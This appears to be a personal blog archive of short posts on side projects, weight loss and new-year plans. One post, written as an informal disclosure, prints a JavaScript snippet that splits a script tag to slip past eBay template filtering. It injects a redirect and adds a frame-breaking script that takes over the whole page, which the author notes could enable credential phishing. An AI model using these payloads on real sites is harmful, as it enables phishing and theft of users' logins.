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2 months ago  /  Notes

A little bit of this, a little bit of that

Uch, finally updated http://mattrandl.es to be a more padded out landing page for a few main things :) So, most of my plans this year havn’t really come to fruition yet but i’m slowly sorting a lot of little things I want out.

JIRA = my new godsend, I love a decent issue tracker and have convinced work to begin using it. I’ve also moved to using it at home, so hopefully, with a few spare days im going to fill it with tasks and things I want to do for myself; then let the OCD kick in and force myself to do them all as quickly as possible :D

Oh and PS: life is still crapping rainbows on me :D 

7 months ago  /  0 notes

Projects

Things i’m working on in 2011

• Bizman - name due to change but put simple: a codeigniter app for managing a small business
• CLH - wont reveal all but it’s in two parts. The first is a bunch of bash scripts, the other is a server built in node.js
• Myself - the eternal pursuit to better myself and improve everything from linguistic skills and guitar proficiency to learning to enjoy my own company :)

1 year ago  /  0 notes

ebay phishing feckery

Well, I got bored the other night and decided to do a quick little test on the ebay uk sandbox and found some suprising results. By splitting up a script tag into a string you can easily write a script out to the page, to include other javascript files or various other things.

While this is all good and well for fancifying your ebay templates, it leaves the site vulnerable to phising attacks, I was even more suprised that similar methods could be used to redirect the page. This isn’t a big deal? Well, the templates are in an iframe, but by redirecting to a suitable link, you can then use futher javascript to break the frame and redirect the entire page. The following code in my test item on the sandbox was able to do the initial frame redirect:

    script used in ebay template
    var _la = "<scri"; var _mb = "pt>"; var _gp = "</s"; var _gi = "cript>"
    var _az = "location.href='http://mattrandles.com/ebay-fuckery.html';"
    document.write(_la+_mb+_az+_gp+_gi);

Then, the following simple script on the final page was able to redirect the whole page:

    if(top != self) {
        if (window.parent.location.href!="http://mattrandles.com/ebay-fuckery.html") {
            window.parent.location.href='http://mattrandles.com/ebay-fuckery.html';
         }
    } else {
        if (location.href!="http://mattrandles.com/ebay-fuckery.html") {
            location.href='http://mattrandles.com/ebay-fuckery.html';
        }
    }

This, to me, is something that shouldnt be doable on ebay (only tested on sandbox, for all i know the live site blocks this). It opens up the ability to say, host a page that looks like an auction and uses a non-descript ebay like url and dupe the end user into re-logging in on the wrong domain, giving away their username and password … or launch attempts to install malware.

Feel free to check out the html page at the link in the above code, but all it does is contain what you’ve already read here…. opinions? @wehttam me on twitter

1 year ago  /  0 notes

Weight Loss

I hesitantly post this here, but I’ve since removed my 2 weight loss blogs from existence

Back on 21st March 2009 I decided enough was enough, I had gained a lot of weight and put down a plan to loose it. The loose plan was:

• 2 Mile walk each morning Mon-Sat
• Sensible breakfasts: usually weighed out All Bran and half a grapefruit
• Sensible dinners: tomato’s on toast, soup and bread etc
• Tea: whatever was going, not too strict
• Snacks: snack-a-jack’s or yogurts etc

Well, as you can guess I went off the rails, I was too strict then went the opposite with alcohol and eating meals out, even my evening meals I kept overload and lying to myself. Now - enough is enough, weight gain has caused paranoia, loss of self confidence and I’m potentially looking at new clothes with bigger sizes: so I’m revising my plan slightly and starting again. My original weight was 142.1kg (huge) and I managed to drop down to 97kg - I won’t tell my current weight but I will say my goal is 101.6kg (16 stone) and this is my plan, albeit open to change:

• 2 Mile walks and a set wake up time Mon-Thurs
• Day off on Friday = 2 mile walk whenever I need to wake up that day,  but I’m also planning to work on personal projects on a Friday so no huge sleep-in’s
• Saturday: whatever comes but hopefully some exercise
• Other exercise: I bought running shoe’s and i want to use them but exercise sessions should not replace the walk for that day
• Breakfasts / Dinner / Tea: same as before but this time try fruit snack’s or look at plain snacks - less inviting for abuse, need to reduce both my savory and sweet teeth!
• Drinks: this is a new one but no sugary or fizzy pop before midday, any coke/pepsi should be diet/max/zero - drink my damn tea’s I originally bought to curb my addictions

Well, that’s it, it starts today. 

1 year ago  /  0 notes

Finally getting to it

I’ve just finished clearing off a lot of items on the web I didn’t want there anymore. I’ve also re-jigged my online world into two tumblr blogs, one for personal and random finds - another for anything tech related!

1 year ago  /  0 notes

new years shmoo years

so far on my list of things to do this year - i’ve done 0….

but on the upside i am looking at more work and moving out, i will start kicking my ass into shape soon and .. well… im very happy is all that needs to be said!

1 year ago  /  0 notes